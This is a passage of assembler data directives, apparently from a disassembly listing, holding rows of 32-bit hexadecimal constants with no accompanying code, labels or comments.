		dd 23E2263Fh, 868AFCB5h, 0FF7B22A7h, 1547795Eh,	51043Dh
		dd 2BDE31D5h, 6F48E302h, 0DF08863Fh, 38B04DEFh,	76D183F2h
		dd 3A6FC02Eh, 0F73A4D68h, 0CF37538Eh, 0A0EF86F3h, 746CE632h
		dd 0AE8DAFC2h, 0DEC6CE9Bh, 22DA4683h, 9C019B54h, 0B56CE16Dh
		dd 2BA5498Fh, 22609710h, 0D26357A0h, 2661A67Ch,	1D1EF36h
		dd 1BD11EA6h, 1A72A92Ah, 48D5CC5Fh, 1E5FD637h, 16A9598h
		dd 8FD1B781h, 839E169Eh, 58A9FF37h, 0BBF41090h,	439B667h
		dd 0E8724632h, 0F6F04BB0h, 6B2BAA6Eh, 36CAE112h, 0AEF10CB6h
		dd 0BFD37FFBh, 0A5322746h, 14B187DDh, 72F1C681h, 0C4DE12CCh
		dd 0AF2E830Fh, 26E86608h, 0F6F7D826h, 4447D5B0h, 9F6FDCCAh
		dd 91D728Fh, 0C135CC25h, 48DE699Ah, 4C1F3DAFh, 44F1F1CCh
		dd 0ABB1C565h, 30A23F91h, 8D5D778Ah, 0C03B305Bh, 61587E70h
		dd 1BC0BE5Dh, 0A62051C5h, 1CAC2252h, 6EDDD409h,	6AAFF86h
		dd 2211FBD5h, 5718FB9Ah, 0D5FE20Dh, 61570D54h, 960F63Eh
		dd 0C8A658BDh, 893D8F01h, 0CF237F69h, 0BDDC2AA8h, 4D8FF3Ch
		dd 234F1E38h, 0B210A486h, 0D9273FF5h, 0AD23C3E6h, 0C300FFCAh
		dd 3F3BDA5Fh, 0DF45AC3Fh, 838ECCC9h, 5054D690h,	88976FB2h
		dd 49725AA5h, 9059F22Dh, 0BD9F3BC5h, 0A7AC6A8Ah, 0F56B161Fh
		dd 770CAFB7h, 47C180A8h, 29E1C1D9h, 0AEACDAC0h,	153872AAh
		dd 35B7BDC6h, 15F6AB41h, 27057770h, 9464C5B1h, 0E9D564B6h
		dd 6F96345Bh, 99CD4C25h, 0DDF88834h, 0DA6981h, 3AA39418h
		dd 4A0B5096h, 0B61BC115h, 0FFC96953h, 3593BBBh,	7368F435h
		dd 8C6264ADh, 87E0AC9Bh, 451F2ACCh, 0F152ECBh, 19C45322h
		dd 77E24EBFh, 0A1E94604h, 0AE07191Fh, 0EEA7F5Fh, 0A41359FAh
		dd 88D2BF35h, 0D4028655h, 5BC9CD20h, 182A7A52h,	0A3BCACE2h
		dd 8D141D9Fh, 3AC00FCDh, 0F646228Bh, 0F5430A0Ch, 0BF1AE754h
		dd 0EBDC848Bh, 0C8031883h, 92EC1574h, 3C9AA310h, 56A3B42Eh
		dd 0ED984D1Eh, 5CC99D71h, 0E24857D4h, 546F286Eh, 0FE6D3F1Bh
		dd 2CB474DCh, 27D921C1h, 335B04B7h, 1CCD11F2h, 64F217D9h
		dd 4BF0A4BAh, 0F303A5FEh, 72CC29ACh, 62AAC187h,	4CC81FA9h
		dd 0ACF1563Ah, 0EF4BCB81h, 2DD10600h, 0B3DB07FDh, 5F46846Fh
		dd 4651E3A8h, 7F658640h, 0C09987ADh, 7ECE08CFh,	1F47CAFBh
		dd 8F86AB0Eh, 75CAED78h, 612967F9h, 4C36F1EFh, 8DF6FCF5h
		dd 124BF620h, 5C4C79DCh, 0A2E5089Bh, 2527D5C2h,	0F171F033h
		dd 9CFBD2BBh, 0A4DCEB46h, 0DC05F440h, 0E545D5FBh, 0FD44D850h
		dd 0E6B85684h, 5502BEC3h, 6B2DAFF8h, 3D1A1A6Fh,	1A7F9338h
		dd 888924C7h, 3A7D2843h, 3EA6B80Bh, 88A8138Bh, 0B5A34791h
		dd 46BB4Ch, 0F8DD42F1h,	744C87BAh, 51E5E454h, 0EA9D5DBBh
		dd 0FDE7549Fh, 8878D4F1h, 29C86D4Fh, 63FBA14Eh,	97B168C3h
		dd 3614DBA7h, 0ED5D1EC1h, 181F3A97h, 0D2D3CB26h, 7D0BDBC4h
		dd 7700CCE8h, 3E43D1BCh, 0F700898Fh, 0F96D90A7h, 0F22DDA5Fh
		dd 0C443723Eh, 7A24BDECh, 0C5DFD44Ch, 473A7D26h, 14F40B67h
		dd 9D958742h, 0BCF0F440h, 0DE0CFCAAh, 9A083306h, 0D5B13CB9h
		dd 0A9D40607h, 0AC3CA449h, 0A5FE3E67h, 42810E20h, 0CED338ADh
		dd 0AC3F4B15h, 0D382F3DAh, 0CDC37ACEh, 5CDA59C0h, 37FD7ECEh
		dd 2F1566C7h, 924D435Dh, 0E79EE743h, 5FFD19D8h,	238FF408h
		dd 0DD6A2232h, 9C1A6F08h, 0F62D9323h, 0B22B17F0h, 5E2127Dh
		dd 79D2D69Eh, 0D8EB83FFh, 4A2C31CDh, 7FB5FE15h,	0B3E54D80h
		dd 0BC3B0492h, 1F53396Ah, 0C7EA2676h, 0F427ADAEh, 1E67736Ah
		dd 3BF15B2Fh, 0A832EDD3h, 7546AFC5h, 291538B1h,	0B64CCC91h
		dd 0FDB7AF02h, 0EF7A3B58h, 0B2E5F78Fh, 8D2178FDh, 0CE1B7035h
		dd 0C82D3B22h, 299B83D8h, 0DF6491D5h, 7A6BD06Bh, 852F702Ch
		dd 68CC4032h, 0F848181Ch, 2BEACDF8h, 9D9EDA07h,	0A8C7C129h
		dd 1E52FC35h, 0B0AB27B6h, 0C2FCA42Ah, 0CDFFED2h, 0D20359F1h
		dd 94167A6Eh, 0F30A4829h, 253A0F10h, 993F62E5h,	0E4413B74h
		dd 0E2C5A6C6h, 8576FEF6h, 143E32EBh, 33D9A51Bh,	0F8104B4Bh
		dd 660911BCh, 0D9A12260h, 0C449D60Ah, 8F5E501Bh, 5D218679h
		dd 1BD15149h, 97D2D5BBh, 41A95E84h, 0BFC97FECh,	0CF8D29EAh
		dd 0B4B6BF72h, 4A26D8C7h, 0C3C5AB63h, 5F8DE9E9h, 8A6C8F78h
		dd 0AF709B84h, 220735FAh, 0D1381479h, 0D3EC13C9h, 0EA5B5B42h
		dd 0A3B2AB4Ah, 0BE1DD8F2h, 81802586h, 0CD573989h, 514BD26Bh
		dd 0D5BF6588h, 58D5B9F6h, 1E212441h, 0CDB9462Fh, 42E57514h
		dd 0EC8C2A3Fh, 0ED05C211h, 3CB7DDD9h, 532B88CAh, 562422Dh
		dd 16109502h, 0DCD8A476h, 0BBBEB589h, 0B7B0FD70h, 0CA183999h
		dd 0C4EFB460h, 0B9AA5D55h, 2DE237A9h, 6FD9E093h, 7044F865h
		dd 9704A876h, 4C729948h, 5A6DEF8Fh, 6BCB90ABh, 0A2A97CC4h
		dd 0AADA6138h, 13074515h, 953AE473h, 9394400Ch,	364B34FDh
		dd 27FD13F1h, 8EDA525Bh, 0F34DAF79h, 588E3563h,	0A0B93DCFh
		dd 951DA583h, 82C80E0h,	825D6B6Bh, 5163B59Ch, 0EB2115Dh
		dd 0C658B162h, 0AD6A9EEh, 686ECB7Eh, 34F63EF2h,	6F14C55h
		dd 0B2C5B0EAh, 0AC8CE9D3h, 0BE4392DDh, 0A9D0F73Ah, 28E5B5D7h
		dd 42D732D0h, 15CABDD4h, 0FA524402h, 384EFA3Eh,	0C98603DDh
		dd 7478DD2Ch, 95FE25BEh, 0B564FDB8h, 1CDDCC97h,	985874D5h
		dd 96BBA3F9h, 0E6818398h, 0AD7F9EE6h, 6D5279A6h, 7321D06Dh
		dd 5CC8E160h, 0FFA2BEB9h, 854FA65Ch, 3E36C64Eh,	333BC1D4h
		dd 6B7F6347h, 0A08BA421h, 30078C86h, 0D6A1FAB0h, 0F23986F7h
		dd 0A4E80C99h, 0FC0A5C30h, 66BF8B39h, 624BECB2h, 879EFBA2h
		dd 4879C344h, 0FE00C805h, 2910B609h, 0AAD238BCh, 0EF92C245h
		dd 0EEDFE08Ch, 2C4A1187h, 0D334D361h, 1F925C8Ah, 70289D5Eh
		dd 9494B221h, 697519B7h, 19703C10h, 613906F8h, 2BF33DBBh
		dd 0CBB1341Bh, 0A8021D26h, 13BB9CE5h, 897D8A62h, 0A311A09Bh
		dd 0EA2A9B09h, 83347E37h, 0B1E3E3CDh, 39307B3Bh, 1E1BC569h
		dd 19FF3994h, 6FF572B1h, 0A4C190h, 5A5157CDh, 8D91095Ah
		dd 3DFD2579h, 0BBC399DAh, 0AA5ACE37h, 64F4D8Fh,	7097C990h
		dd 6C1CEC3h, 0EEFCDDE7h, 0BA0A55A1h, 0BA130Bh, 0E50BBD23h
		dd 0EE419ABEh, 0B4D9934Bh, 0B7E5480Dh, 0AB9A1940h, 0FD7D8A2Eh
		dd 419EDA11h, 0F06248ECh, 1749CDF9h, 3600D8AFh,	0B68D944Bh
		dd 0D4ABD742h, 85BB398Bh, 775E7D39h, 7837552Ah,	0A75FA2A6h
		dd 90783112h, 0B74A5832h, 0CC6AC79h, 8ECB0BB5h,	0E53ECD17h
		dd 0D7CF50Dh, 4593F46Dh, 25264C10h, 0B50430BCh,	0D473E9B4h
		dd 3CCEB988h, 2049A36Eh, 0A34492EEh, 181737C8h,	4DBEDF33h
		dd 6A97A83Eh, 0DFA5AE7Bh, 0D9EB83ECh, 4EC5F8E5h, 0DFAAB9A0h
		dd 0D831B05Fh, 271509EFh, 0FFD547BBh, 47B702FCh, 0A3F30CF3h
		dd 2F083020h, 0C49DB5D7h, 14C6F70Dh, 0AAEF53A1h, 9857ECBFh
		dd 0EADADED0h, 22172F0Dh
		dd 238CBB8Ah, 0BECCF240h, 889E8AA0h, 4161BC8Dh,	3EA05F2Fh
		dd 42FE73CBh, 4B117BB3h, 0ECDA1A8Ch, 0B5A0B5A3h, 49661F9Eh
		dd 0F6A7FBC7h, 0C518312Eh, 0D055C865h, 0A9C97C96h, 42227AD3h
		dd 0F489D4B1h, 11B86EA6h, 708F6AE1h, 776EC714h,	0E44C05BFh
		dd 0D842C631h, 3639EBD2h, 2F461C4Bh, 70D4F8h, 3FDE8826h
		dd 95B211F0h, 0C5B8BFBBh, 0AEDBCA08h, 0AED2689Ah, 1328AD3Ch
		dd 0D9D8A5EFh, 0C1758D45h, 0E4443577h, 4C8AE980h, 24977009h
		dd 1AEC0E98h, 6F7A6AFBh, 0A6A4DAAEh, 0B02D9DF2h, 2B8419B4h
		dd 0F574E81Bh, 0FFF1A60Ch, 93A6A225h, 80CFDDCBh, 7E71996Ah
		dd 99D670D0h, 97B2F405h, 0AB351F8Bh, 9984F32Bh,	50FD9070h
		dd 0AFAB187Bh, 4D69D344h, 0B8D8F1F7h, 0DA072356h, 7858263Bh
		dd 0A42EBAAAh, 0CDD83D3Dh, 9A62EF23h, 0C523CEE9h, 857787B2h
		dd 39B40AFFh, 38BA3166h, 0F8850840h, 9517469Fh,	2A884233h
		dd 75AE4377h, 0E1449665h, 4ADAF3CAh, 4A448F5Eh,	0D90A9899h
		dd 930BC4EFh, 0E175E15Bh, 0EBEC32F5h, 33155420h, 0E07E993Ch
		dd 4BBA3824h, 3A23287Bh, 2BB00457h, 0B61694D5h,	2C9DCC26h
		dd 0FDC16E48h, 3FD3F035h, 6F05D113h, 6FD08D57h,	76BB0697h
		dd 7181D755h, 48D1E72Fh, 0EE2A3AB1h, 0BDAAE8B6h, 0FBA69C44h
		dd 17354724h, 0FA639A4h, 11CF8F62h, 0A530DE37h,	5185B28Ch
		dd 2BE8E84h, 0EC245ABh,	3C71D2A3h, 0B3CACBC3h, 64B3E010h
		dd 9725A5F8h, 0D695E7C7h, 0B0C68D14h, 5A44137Ah, 1BFDAEC1h
		dd 77E0DF0h, 0B6500A23h, 96725A3Ah, 9E29B7EEh, 9CABCE8Fh
		dd 0A7A88C5Dh, 5196986Dh, 83AC693Eh, 2B9888F7h,	0B7442368h
		dd 324AF52Eh, 0B53399A7h, 20AFA14Eh, 6BE67489h,	51400767h
		dd 52D2B521h, 36BD2561h, 0E4F038FBh, 6A91F3F0h,	0B811A9Dh
		dd 3F1B524Fh, 2D137DEEh, 0C7EFD354h, 5DB8C0E4h,	45DF0CCCh
		dd 9A1C7059h, 0A5B7C2C8h, 2D36322Dh, 0A81F6702h, 0D970E4A0h
		dd 0B1ACFB2Dh, 12D7F50Eh, 3A684FEFh, 40C2E330h,	557C4D28h
		dd 3AA94C4Fh, 6E421383h, 0F5E95A38h, 499196A6h,	70E9BF5Ah
		dd 0DB059C23h, 2F457367h, 0BCB16FEAh, 878D4D64h, 198603DCh
		dd 7DF7ACAh, 3346F407h,	0B0C126A8h, 72EDA0CBh, 6DA068BEh
		dd 9A4A142h, 0CBE722BEh, 0A2FA7C8h, 0F8DA3A7Fh,	0DDC8E845h
		dd 3464F884h, 0A1D132B3h, 352CE05Bh, 1C3F83AAh,	3FA2C2ABh
		dd 0BB316644h, 0E34A3E58h, 2B10F1B5h, 32DC2218h, 0F4BD25B5h
		dd 82345B65h, 0CA6A1EC3h, 0CE8003ADh, 45068FC1h, 5E61F84Ah
		dd 33F2FA83h, 6C19AF6Ah, 0BEFB2E4Ah, 1BBC0462h,	0D4FBF92Eh
		dd 0EDC0C708h, 516570A7h, 0CC6AEED9h, 0CA83C79Eh, 36E4B2CEh
		dd 0D27F86AFh, 26F6B7B9h, 1E3D73E0h, 0D1FC1245h, 0B04AA4DCh
		dd 7477D42h, 75815870h,	9BAA09C4h, 0B406712Eh, 0E35EF34Ah
		dd 660CD953h, 13F1E59Ch, 9E5A61D2h, 0E6424800h,	73A5CC7Ah
		dd 59A146CFh, 891EE0A0h, 0E1A90B0Fh, 0E579A6F8h, 0FE9C3F6Ch
		dd 5F21C883h, 667EFD4Ch, 7AF93F70h, 53A041D4h, 0BFEEF565h
		dd 7824EFDCh, 0D302FE87h, 6B852821h, 0AF8EE320h, 2D5FA347h
		dd 9C6D42F5h, 43A012Eh,	0BE98FFC2h, 0B6B6DDC2h,	0EB9FB17Eh
		dd 6C763B2Dh, 0EFE66AC6h, 9A1D8E43h, 0C2A6ED27h, 0F82D71D7h
		dd 4D0030EEh, 0DE833062h, 0FA2FEA3h, 49EF6965h,	500C6D53h
		dd 74A5E830h, 8CE9291Eh, 0E7BCE7Ah, 9FC7AC9Ch, 1B11A775h
		dd 3A51C2D4h, 0D1A3BC37h, 21559535h, 77EC1D99h,	0E2ACA98Bh
		dd 7CA40C03h, 9587D382h, 5117689h, 0BFAA811Ch, 0D9E433B1h
		dd 0D35CAC07h, 748ACD95h, 0D893B4ACh, 87205A4Dh, 42348844h
		dd 0C83FA3EAh, 69D677ADh, 0C27C978Fh, 0AD075E49h, 0A09263E5h
		dd 0B8C46BB6h, 18EE85E8h, 0F99FA36Eh, 0B00E30B3h, 0BFC77EE8h
		dd 0C9ADA19Ah, 9F004F3Ch, 1F21A856h, 71693768h,	0D598EDAEh
		dd 6E301CEDh, 73AD6CF5h, 0E5D2C4AFh, 6155CD4h, 6FBB4FC9h
		dd 26F8BB0Ch, 2D3C7D7h,	0FC8F5856h, 14F1228Ah, 0BD078F28h
		dd 388966F8h, 0B65355D9h, 0E979EFD0h, 0B332F4E1h, 0CCBD348Dh
		dd 246DBCh, 36FC183Dh, 8581A5FAh, 3A6A6117h, 5ECE7D5h
		dd 0A4BD93B0h, 0A9974DC3h, 86A9A0D5h, 0D2B12FCEh, 0FFE5197Eh
		dd 0ACFD1F9Ah, 2ED67B8Fh, 4B2E1122h, 0A773E697h, 1E8884D9h
		dd 0AFD0DC0Dh, 57D7BF9Ah, 5C0B822h, 0FFA685F4h,	682BFE45h
		dd 8E51FBD1h, 13683E1Bh, 678782FAh, 8B1A2535h, 0A6BE0F60h
		dd 0C0F87CD6h, 0FBBCC98Ah, 0BD575596h, 38CF1898h, 9AA5498Ah
		dd 2C2EF1E7h, 0D06A91E6h, 87A1F1C5h, 3CCFE2C8h,	827F2E59h
		dd 0FDD71404h, 0DE499885h, 0ACB060Dh, 741EB808h, 0C85AE14Bh
		dd 0C1B5F290h, 0E921AD69h, 0BEAEB697h, 687850F6h, 64559CCAh
		dd 7543150Fh, 5F59AB1Dh, 709163EBh, 35B3E920h, 35C84893h
		dd 4C2AEEF5h, 82A48980h, 83A10F6Fh, 2F1C9A9Dh, 0FAAF4341h
		dd 1D7896BAh, 0DA71FDA1h, 8AFBE40Eh, 4B9E5556h,	94C54662h
		dd 0F2B1D464h, 0D9D3F539h, 41F4D804h, 41F8AB8Dh, 0B6913FFDh
		dd 0E5F8B11Ch, 72DC5D65h, 0ADA83854h, 0F92CF0E9h, 958AC395h
		dd 92EAAAAh, 3A3AC53h, 0BC4B970Dh, 578C4CA4h, 30FB38Ah
		dd 0B6E9541Ah, 68C6055Fh, 5751C56Dh, 72333AD8h,	0E678B43Ah
		dd 0B325F092h, 35ED6689h, 7A1C53B2h, 534BC8E5h,	217AEBB9h
		dd 9626CBFEh, 0CDC64DCCh, 990C4AB2h, 0BA9041A6h, 6061C3C5h
		dd 12CC1366h, 1767BAFAh, 0B0B4942Fh, 0AB6A59F4h, 0E40A48BCh
		dd 0EB987730h, 0D725290Ah, 0A4F4CAF5h, 0B0430610h, 0D0281996h
		dd 1052FD56h, 0EAB290F0h, 412A7B9Ah, 6A1DE5B6h,	31FE4495h
		dd 0A9A048E6h, 0DF8B167Ch, 605F2E13h, 1A5B82A4h, 851386DDh
		dd 0A03A2729h, 0ACE5601h, 0E0334F84h, 16C37100h, 0B31847FCh
		dd 0A275937Dh, 6D8395B9h, 0BD5F4301h, 0C49EDBF8h, 35FA8EABh
		dd 966A54DCh, 0E37F05F1h, 30F46F3Fh, 3EC4EEEh, 5993F546h
		dd 95168896h, 8F466C9Dh, 0F14BD463h, 2F7DCA03h,	0CE4B9EBDh
		dd 17838D14h, 37B57F27h, 984E21CAh, 7737D6FCh, 0B2808B4h
		dd 75DECF40h, 9552A7D6h, 29858A35h, 916F9B7Fh, 7D872C0Bh
		dd 9584A76Eh, 70039944h, 0D3A32AABh, 54A85D6Eh,	1277B9F0h
		dd 618DFAC0h, 0CC780775h, 25270FFh, 897477BCh, 0FE2C2852h
		dd 0E35C66AFh, 5FD608EEh, 4B773346h, 0BBCE9D55h, 7D9296C9h
		dd 8D9C87C3h, 28BE4230h, 550DD649h, 18F7613Ch, 5FCE3A5Ah
		dd 44BFB779h, 35BF91h, 55F01E8h, 7A273190h, 12A7DFECh
		dd 0A9B075C5h, 27317A3Ch, 37CF0F8Ah, 66797EDBh,	0AA0E098Ch
		dd 0EF6F0D7Dh, 9614BBBEh, 0E5DEA0BAh, 0B4BDDB26h, 86342258h
		dd 0D3004033h, 526B369Bh, 1EC125B6h, 8D28AF24h,	596A5851h
		dd 1025E050h, 0A6EA7FF5h, 38BC06Ch, 8DA674Dh, 7D0EC8AAh
		dd 0F99C674Dh, 105E9F68h, 0A8D4F6Bh, 827F79F1h,	28D93013h
		dd 0BA91B9DEh, 7ECD104Bh, 173B2438h, 5D8A43FDh,	3CEAB03h
		dd 5B332A21h, 8564941Ah, 0B5B43FD3h, 0EDE1E950h, 50E344EBh
		dd 7D2E71Ah, 0B7255551h, 50685425h, 0C1E3D1B7h,	9C022824h
		dd 0EDAE81B5h, 0EC6849B2h, 5ED6791Bh, 4745EF05h, 0E8902BD6h
		dd 90344EF2h, 361567ECh, 187C21C9h, 17C1BB66h, 9AEB0B1Dh
		dd 192ABB90h, 0B65F354Ah, 120D4EB2h, 0A157A03h,	6C07A210h
		dd 2F16944h, 806EA2C6h,	0D99B17ACh, 0DA4C67BAh,	27DFFC96h
		dd 0FB66CF4Ch, 0E1B92568h, 0F3E1E15Eh, 6A1849B8h, 0B7308125h
		dd 0EBDF3DA7h, 7F68E7E3h
		dd 0B9E0882Ch, 6F0617B7h, 414112B4h, 0B14BEA41h, 0DC06478Ah
		dd 31B4F337h, 0D80A6166h, 0EFD974C9h, 0B81889BDh, 36C1E1A1h
		dd 29A46E21h, 1388EB9Fh, 0A9A0DAF7h, 25D18B6Bh,	0A4B1B1CFh
		dd 1749F5D0h, 91B2F465h, 548A4725h, 0AABD7DCBh,	6BCD05AFh
		dd 0BB7B53Dh, 8D899DE8h, 0FDA3AC96h, 0BC627B77h, 5AD8C5B8h
		dd 54272DCCh, 9A731459h, 21D83738h, 7CBB2052h, 8F8FD1A9h
		dd 0A1069160h, 0FF4584BAh, 81244A89h, 8D0B300Ch, 792C8A44h
		dd 0DD7C0705h, 0BB53419Eh, 982E29D1h, 0B3BCDB49h, 0E7E6C7AAh
		dd 255AE6EEh, 6F1EDC2Bh, 5D14726Bh, 87525483h, 0EDB66A96h
		dd 0B389456Eh, 472A0397h, 0A9BE7182h, 796EF277h, 0B605B6C8h
		dd 19CB2614h, 0F4D8CAE2h, 428CFBDCh, 0A28CC1F4h, 0B3957CA9h
		dd 0ACB34253h, 28764CFFh, 5F8C24B1h, 75D576CCh,	488E6CEAh
		dd 2FD4B30Ch, 0A357AEE9h, 0F831EF28h, 94DFDA1Ah, 0CAF3CFFh
		dd 0BF402791h, 12014665h, 0DFB9DA0Ch, 4C13F6AFh, 3F74D92Bh
		dd 0F0F946A2h, 1986E10Eh, 4D73AAD1h, 7D966B9Eh,	0CC38024Ah
		dd 0D02EA798h, 0D857D6F4h, 0BB7C8D9h, 9D007491h, 0AFC8590h
		dd 2371AC0Dh, 94AC4E0Ch, 2A6CEFA4h, 6DA0A1DBh, 28B2408h
		dd 0C59ED64Dh, 0DC985ED5h, 30813539h, 74CBC9BDh, 0F4E8B9A5h
		dd 40B90B33h, 70FDEFF0h, 0D92C720Bh, 0E22C0692h, 7C50816Bh
		dd 76971BEAh, 47FFD629h, 0BA2A78CDh, 14745B50h,	342F7CB1h
		dd 2D2488D5h, 93F18F6Bh, 0C61D422Fh, 95DA1519h,	0A8731FB0h
		dd 41516A0Fh, 0C56CF523h, 8CEE9E66h, 5CB61ADDh,	0FFAA2886h
		dd 0CADC746Ah, 0D48C7A38h, 0E27BAB74h, 3D49C07Bh, 34C7E52Ah
		dd 0DC7C43CAh, 0BEAFAE98h, 17BED494h, 0FF8B05D3h, 0E19DB8F2h
		dd 774E313Eh, 0E5696C60h, 9B92A582h, 9E36AAABh,	7619D6E1h
		dd 5C730FB9h, 539BDCAh,	47D10E7Ah, 0DE846745h, 10D07469h
		dd 6CE71B7Ah, 0BFCA56C2h, 0ED2F3712h, 42940CC3h, 55D277E4h
		dd 3E9286A0h, 645B092Fh, 5F240A17h, 0E52B318Bh,	9DAA5508h
		dd 0E05F41EFh, 3D8F5CE7h, 694F83EDh, 0A6BB80C8h, 3BEB0A3Dh
		dd 0ECAA7A20h, 50411A7Bh, 0F2801FD6h, 9D468F5Dh, 82078FEFh
		dd 0BF441745h, 9ACB2FA3h, 495A704Ah, 0BC930A7Fh, 6B9EA719h
		dd 3F54F331h, 0DEE3583Ch, 897DFF0Bh, 2238779Dh,	0B1F3E66Bh
		dd 1BC54227h, 413AF312h, 0A0D85E9Eh, 54EF963Bh,	0B27A52FCh
		dd 0D398CD64h, 0E0BD0BB7h, 332C02C6h, 46700A0Ah, 3907EC6Ch
		dd 0B31FF92Ah, 0DCCF33EAh, 0CF6D779Dh, 9FA3FA7Fh, 0E318D9EEh
		dd 0A05E9D67h, 0D056EF79h, 0AC5AED76h, 9BF7E974h, 202D0896h
		dd 3773B211h, 7F88DAD0h, 0C2A8F20Eh, 68699528h,	4B7EF6Bh
		dd 34082752h, 56E6E72Dh, 822F3547h, 927AC16Ch, 6E1A5182h
		dd 0E382F6EAh, 0B688BAE3h, 0E88D0E9Bh, 0EBAA2FE6h, 1C5712A1h
		dd 0B1466E7Eh, 904AC90h, 0D04DC4Dh, 6305B728h, 4D25584Fh
		dd 1EF1C100h, 0C0E575B4h, 89B41F95h, 0FFDA496Ah, 44F2B554h
		dd 0AE4E3607h, 0C0D725FEh, 0FD1C9839h, 0A85B754Ch, 71A57C69h
		dd 2E7CA68Ch, 0D8ADEBC4h, 0D0505E33h, 72A72AF3h, 81A95B3Eh
		dd 0BAAF6D20h, 3C240585h, 3737B963h, 1339DEC9h,	0E1029191h
		dd 0FF3BE924h, 0CD6ED6F7h, 19C8C630h, 0BF1EFFD5h, 92CA6EE8h
		dd 0BEE97EEDh, 1179F420h, 0AE280637h, 0F9D4C99h, 0AD64F724h
		dd 15863BA2h, 0E907D7A3h, 2F92F901h, 527AEA91h,	7E8C6276h
		dd 5BF6957Dh, 213F5E98h, 0AFA17FCAh, 180C58A9h,	64EA3544h
		dd 7744D90Eh, 9E97F700h, 214EABABh, 0CE25E592h,	79F8DD7Ch
		dd 0B3003C74h, 0E5893F1Dh, 0DEA73848h, 1992F9D7h, 0FD08ED33h
		dd 3C7638C5h, 0FBCBE070h, 347B623h, 0E5D5F682h,	0A4C96697h
		dd 692669E6h, 0BCFD45F1h, 85DF6014h, 9CEE190h, 0B2A8EB8Fh
		dd 0AED9A4E0h, 55885552h, 857516BAh, 15200993h,	0B87B8FAFh
		dd 0B16FB477h, 49D8CFF1h, 4DCC51E0h, 7473F7CBh,	0ACCFFE4Fh
		dd 543E95EAh, 25F8EA8h,	0C456463h, 71F2A156h, 31413C18h
		dd 1C9D86DEh, 0A9BA0E8Fh, 1249DA99h, 0FF3EEA04h, 61B00024h
		dd 46EB59AFh, 0FF18D323h, 0CBFBA211h, 0BF3E1F9Eh, 388D9CF7h
		dd 0F29D5255h, 5E73C5A2h, 8CCF916h, 33CACAD4h, 0A273D613h
		dd 0A146029Ah, 3863C0C6h, 122D4CBEh, 5604124h, 0B41EBF03h
		dd 0DEC1135Eh, 0F5F752F1h, 5226AB71h, 7740931Dh, 550DA005h
		dd 0B934C031h, 90DBA53Ch, 7CD91F98h, 0D5F7E8DDh, 0C0D7FAA8h
		dd 0D5376C67h, 0C6FDC041h, 4D988452h, 9DB53C64h, 0AA9B0E38h
		dd 12DF966Eh, 0B2C7B53Dh, 50187D53h, 9E154789h,	0E6C02711h
		dd 0EE1EA566h, 3CCBBD7Dh, 0DE7024B8h, 0B55603C4h, 0ACE5A011h
		dd 9B9FFC4h, 0A232099Dh, 6D099C0Ah, 42B12872h, 0AFB3C1BCh
		dd 4109C929h, 998F3859h, 591DA9Bh, 4BE5E223h, 0BF5CB3CAh
		dd 55D77070h, 0BA832EFAh, 0A10C50F8h, 0D757EE22h, 0D6246891h
		dd 0B8A80ECAh, 0B9811772h, 7902437Bh, 0D180FCD2h, 0A57FE900h
		dd 0B0825E63h, 3A138100h, 0A4BF2497h, 1017DA9Bh, 8DBFCE4Eh
		dd 390CAEB0h, 67A33F33h, 0F7BBE5Dh, 57835C94h, 0D02806B9h
		dd 6E665277h, 0A881CB1Ch, 876D1B47h, 0A99376C1h, 0B8433133h
		dd 0D6B8BC0Dh, 0E5D38EBFh, 8F2ECB5h, 0D9974CB0h, 0D4DB10DEh
		dd 3CA3118Ah, 5B698F28h, 84CA4C90h, 60A60064h, 5E77E72Ah
		dd 35418A46h, 4D657769h, 4A5FF2B5h, 0F6DCD4EBh,	6FA25652h
		dd 2BCAA4DAh, 68503CCCh, 73226E11h, 16A6BE39h, 388230E7h
		dd 77B60705h, 4BD4C096h, 68B44173h, 662D8EABh, 0B130AE3Fh
		dd 0C030A653h, 4C1D8BEBh, 0EC7364Fh, 0BB7A5003h, 58C936DDh
		dd 98E6A8B8h, 859939F1h, 0F64E0F23h, 0F1DDA3CAh, 68253303h
		dd 53DF3DCh, 0D4D1A04Bh, 238658C3h, 0B8D6978h, 0AAA80BB8h
		dd 6F11F6C6h, 3E5E5BB0h, 0BA056A1Eh, 1423E9ADh,	55D0D85Ch
		dd 0C4B56753h, 529906E0h, 89455E35h, 83ED4DA2h,	7AE5013h
		dd 5578A10Ch, 7568DDF1h, 6AB3D5F2h, 0CA3D92C6h,	3535A295h
		dd 53D144A7h, 0AFBEF33Eh, 0DAC6D313h, 0B54C012Dh, 0A008E4E4h
		dd 570ABFF6h, 0BB0EB595h, 3B47F7FAh, 3C0B6F7h, 86FD3FA8h
		dd 6674F31Dh, 0FB566709h, 0FC47884Fh, 41625B9h,	1D705408h
		dd 31410B23h, 5BCCEC3Eh, 8FC0B562h, 0CB54BFA5h,	0FF14257Ch
		dd 0E94BBB0Bh, 0A66B8DAFh, 47213224h, 33F4B6D8h, 0B5254B4Ch
		dd 34ADC9E0h, 7643EEF9h, 59E46646h, 280B2B89h, 0C360BA87h
		dd 7C22FB52h, 0FB98ABDAh, 0A77029F3h, 752E8C28h, 0CB766647h
		dd 7C9A28E7h, 20BD272Ch, 85E3B783h, 0D00945D5h,	3C84BDF7h
		dd 185C7CCh, 0A3B63C17h, 0E79B8AADh, 8E4048CDh,	9022A1D3h
		dd 0AE64D815h, 0C4B50E8Ah, 7A9796D9h, 0B4818C3Eh, 0EEEB2F49h
		dd 0D034796h, 0EA7C7B29h, 41316A45h, 83B6DC41h,	8C9B254Fh
		dd 1B95CE59h, 0B1AF5FAFh, 255E262Fh, 0AD2D600Bh, 0A58E704Eh
		dd 0D46FE780h, 0CF70922Fh, 5C89428Eh, 0D9A2D391h, 0D3C6A075h
		dd 0D28A48A2h, 0AC8A006Fh, 0C432846Fh, 2FFA8010h, 399CF349h
		dd 0A89FBFEFh, 5D9E5529h, 737B8F29h, 689255Dh, 7E7DCE68h
		dd 6D1DA81Ah, 4EA69AC5h, 0EF4561C9h, 33EE823Fh,	72424482h
		dd 1644C01Bh, 0E2F648C3h, 4B2EEACh, 5FC710F3h, 79FC1CD9h
		dd 30A44AF8h, 0A3FDAF74h, 376F0AC7h, 642C284Ch,	75DB0336h
		dd 0A995A077h, 6D2A5274h, 0B7982068h, 0E28C7198h, 73AE4EAh
		dd 993221E4h, 29148B91h, 0A02790F6h, 0BC5208EEh, 2BEB948Bh
		dd 0E26E9AA4h, 0AC4152F5h
		dd 334CD7C7h, 49A1AF51h, 0A03AD7B8h, 852151B1h,	1C3E6B94h
